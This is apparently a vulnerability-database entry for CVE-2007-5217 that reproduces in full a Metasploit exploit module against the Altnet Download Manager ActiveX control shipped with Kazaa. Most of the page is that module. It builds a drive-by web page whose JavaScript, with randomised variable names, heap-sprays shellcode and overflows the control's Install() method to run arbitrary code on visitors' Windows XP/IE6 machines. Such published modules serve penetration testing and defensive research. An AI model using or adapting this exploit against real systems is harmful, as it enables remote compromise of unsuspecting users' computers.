Kazaa Altnet Download Manager ActiveX Control Buffer Overflow

🗓️ 03 Oct 2007 16:09:53Reported by MC <[email protected]>Type

Kazaa Altnet Download Manager ActiveX Control Buffer Overflow. Exploits a stack buffer overflow in the Altnet Download Manager ActiveX Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7. Allows execution of arbitrary code

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2007-5217	9 May 201000:00	–	circl
Check Point Advisories	Altnet Download Manager ActiveX Buffer Overflow - Ver2 (CVE-2007-5217)	16 Apr 201400:00	–	checkpoint_advisories
CVE	CVE-2007-5217	5 Oct 200700:00	–	cve
Cvelist	CVE-2007-5217	5 Oct 200700:00	–	cvelist
Exploit DB	Kazaa Altnet Download Manager - ActiveX Control Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
Kaspersky	KLA10060 ACE vulnerability in Kazaa & Grokster	4 Oct 200700:00	–	kaspersky
NVD	CVE-2007-5217	5 Oct 200700:17	–	nvd
Packet Storm	Kazaa Altnet Download Manager ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	5 Oct 200700:17	–	prion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kazaa Altnet Download Manager ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX
        Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.
        By sending an overly long string to the "Install()" method, an attacker may be
        able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-5217' ],
          [ 'OSVDB', '37785' ],
          [ 'URL', 'http://web.archive.org/web/20071014051150/http://secunia.com:80/advisories/26970' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP2 / IE 6.0SP1 English', { 'Ret' => '\x0c\x0c\x0c\x0c' } ]
        ],
      'DisclosureDate' => '2007-10-03',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops
    nops = Rex::Text.to_unescape(make_nops(4))

    # Randomize the javascript variable names
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)+2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    # Build out the message
    content =
      "<html>\n" +
      "<object classid='clsid:DEF37997-D9C9-4A4B-BF3C-88F99EACEEC2' id='#{vname}'></object>\n" +
      "<script language='javascript'>\n" +
      "#{rand1} = unescape('#{shellcode}');\n" +
      "#{randnop} = '#{nops}';\n" +
      "#{rand2} = unescape(#{randnop});\n" +
      "#{rand3} = 20;\n" +
      "#{rand4} = #{rand3}+#{rand1}.length\n" +
      "while (#{rand2}.length<#{rand4}) #{rand2}+=#{rand2};\n" +
      "#{rand5} = #{rand2}.substring(0, #{rand4});\n" +
      "#{rand6} = #{rand2}.substring(0, #{rand2}.length-#{rand4});\n" +
      "while(#{rand6}.length+#{rand4}<0x30000) #{rand6} = #{rand6}+#{rand6}+#{rand5};\n" +
      "#{rand7} = new Array();\n" +
      "for (#{var_i}=0; #{var_i}<400; #{var_i}++) #{rand7}[#{var_i}] = #{rand6} + #{rand1};\n" +
      "#{rand8} = '#{target.ret}';\n" +
      "while (#{rand8}.length < 5000) #{rand8}+=#{rand8};\n" +
      "#{vname}.Install(#{vname} ,#{rand8} ,#{vname}, 1);\n" +
      "</script>\n" +
      "</html>"

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

23 Mar 2023 10:43Current

7.8High risk

Vulners AI Score7.8

CVSS 26.8

EPSS0.2999